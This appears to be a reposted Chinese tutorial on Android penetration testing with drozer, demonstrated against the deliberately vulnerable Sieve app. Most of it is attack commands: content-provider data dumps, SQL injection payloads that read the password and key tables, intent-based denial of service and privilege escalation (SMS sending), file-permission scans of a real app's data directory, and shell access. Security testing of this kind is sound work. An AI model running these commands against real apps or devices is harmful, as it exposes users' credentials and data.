利用drozer進行Android滲透測試


一、安裝與啟動

1. 安裝 

第一步:從http://mwr.to/drozer下載Drozer (Windows Installer) 

第二步:在Android設備中安裝agent.apk

adb install agent.apk

2. 啟動

第一步:在PC上使用adb進行端口轉發,轉發到Drozer使用的端口31415

adb forward tcp:31415 tcp:31415

第二步:在Android設備上開啟Drozer Agent

選擇embedded server-enable

第三步:在PC上開啟Drozer console

drozer console connect 

二、測試步驟

1.獲取包名

dz> run app.package.list -f sieve

com.mwr.example.sieve

2.獲取應用的基本信息

run app.package.info -a com.mwr.example.sieve

3.確定攻擊面

run app.package.attacksurface com.mwr.example.sieve

4.Activity

1)獲取activity信息

run app.activity.info -a com.mwr.example.sieve

2)啟動activity

run app.activity.start --component com.mwr.example.sieve

dz> help app.activity.start

usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]

[--component PACKAGE COMPONENT] [--data-uri DATA_URI]

[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]

[--mimetype MIMETYPE]

5.Content Provider

1)獲取Content Provider信息

run app.provider.info -a com.mwr.example.sieve

(2)Content Providers(數據泄露)

先獲取所有可以訪問的Uri: 

run scanner.provider.finduris -a com.mwr.example.sieve

獲取各個Uri的數據:

run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查詢到數據說明存在漏洞

(3)Content ProvidersSQL注入)

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

報錯則說明存在SQL注入。

列出所有表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

獲取某個表(如Key)中的數據:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

4)同時檢測SQL注入和目錄遍歷

run scanner.provider.injection -a com.mwr.example.sieve

run scanner.provider.traversal -a com.mwr.example.sieve

6 intent組件觸發(拒絕服務、權限提升)

利用intent對組件的觸發一般有兩類漏洞,一類是拒絕服務,一類的權限提升。拒絕服務危害性比較低,更多的只是影響應用服務質量;而權限提升將使得沒有該權限的應用可以通過intent觸發擁有該權限的應用,從而幫助其完成越權行為。

1.查看暴露的廣播組件信息:

run app.broadcast.info -a com.package.name  獲取broadcast receivers信息

run app.broadcast.send --component 包名 --action android.intent.action.XXX

2.嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras):

run app.broadcast.send 通過intent發送broadcast receiver

(1)   空action

run app.broadcast.send --component 包名 ReceiverName

run app.broadcast.send --component 包名 ReceiverName

(2)   空extras

run app.broadcast.send --action android.intent.action.XXX

3.嘗試權限提升

權限提升其實和拒絕服務很類似,只不過目的變成構造更為完整、更能滿足程序邏輯的intent。由於activity一般多於用戶交互有關,所以基 於intent的權限提升更多針對broadcast receiver和service。與drozer相關的權限提升工具,可以參考IntentFuzzer,其結合了drozer以及hook技術,采用 feedback策略進行fuzzing。以下僅僅列舉drozer發送intent的命令:

(1)獲取service詳情  

run app.service.info -a com.mwr.example.sieve

不使用drozer啟動service

am startservice –n 包名/service名

(2)權限提升

run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

7.文件操作

列出指定文件路徑里全局可寫/可讀的文件

run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo

run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo

run app.broadcast.send --component 包名 --action android.intent.action.XXX

8.其它模塊

shell.start 在設備上開啟一個交互shell

tools.file.upload / tools.file.download 上傳/下載文件到設備

tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進制文件

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM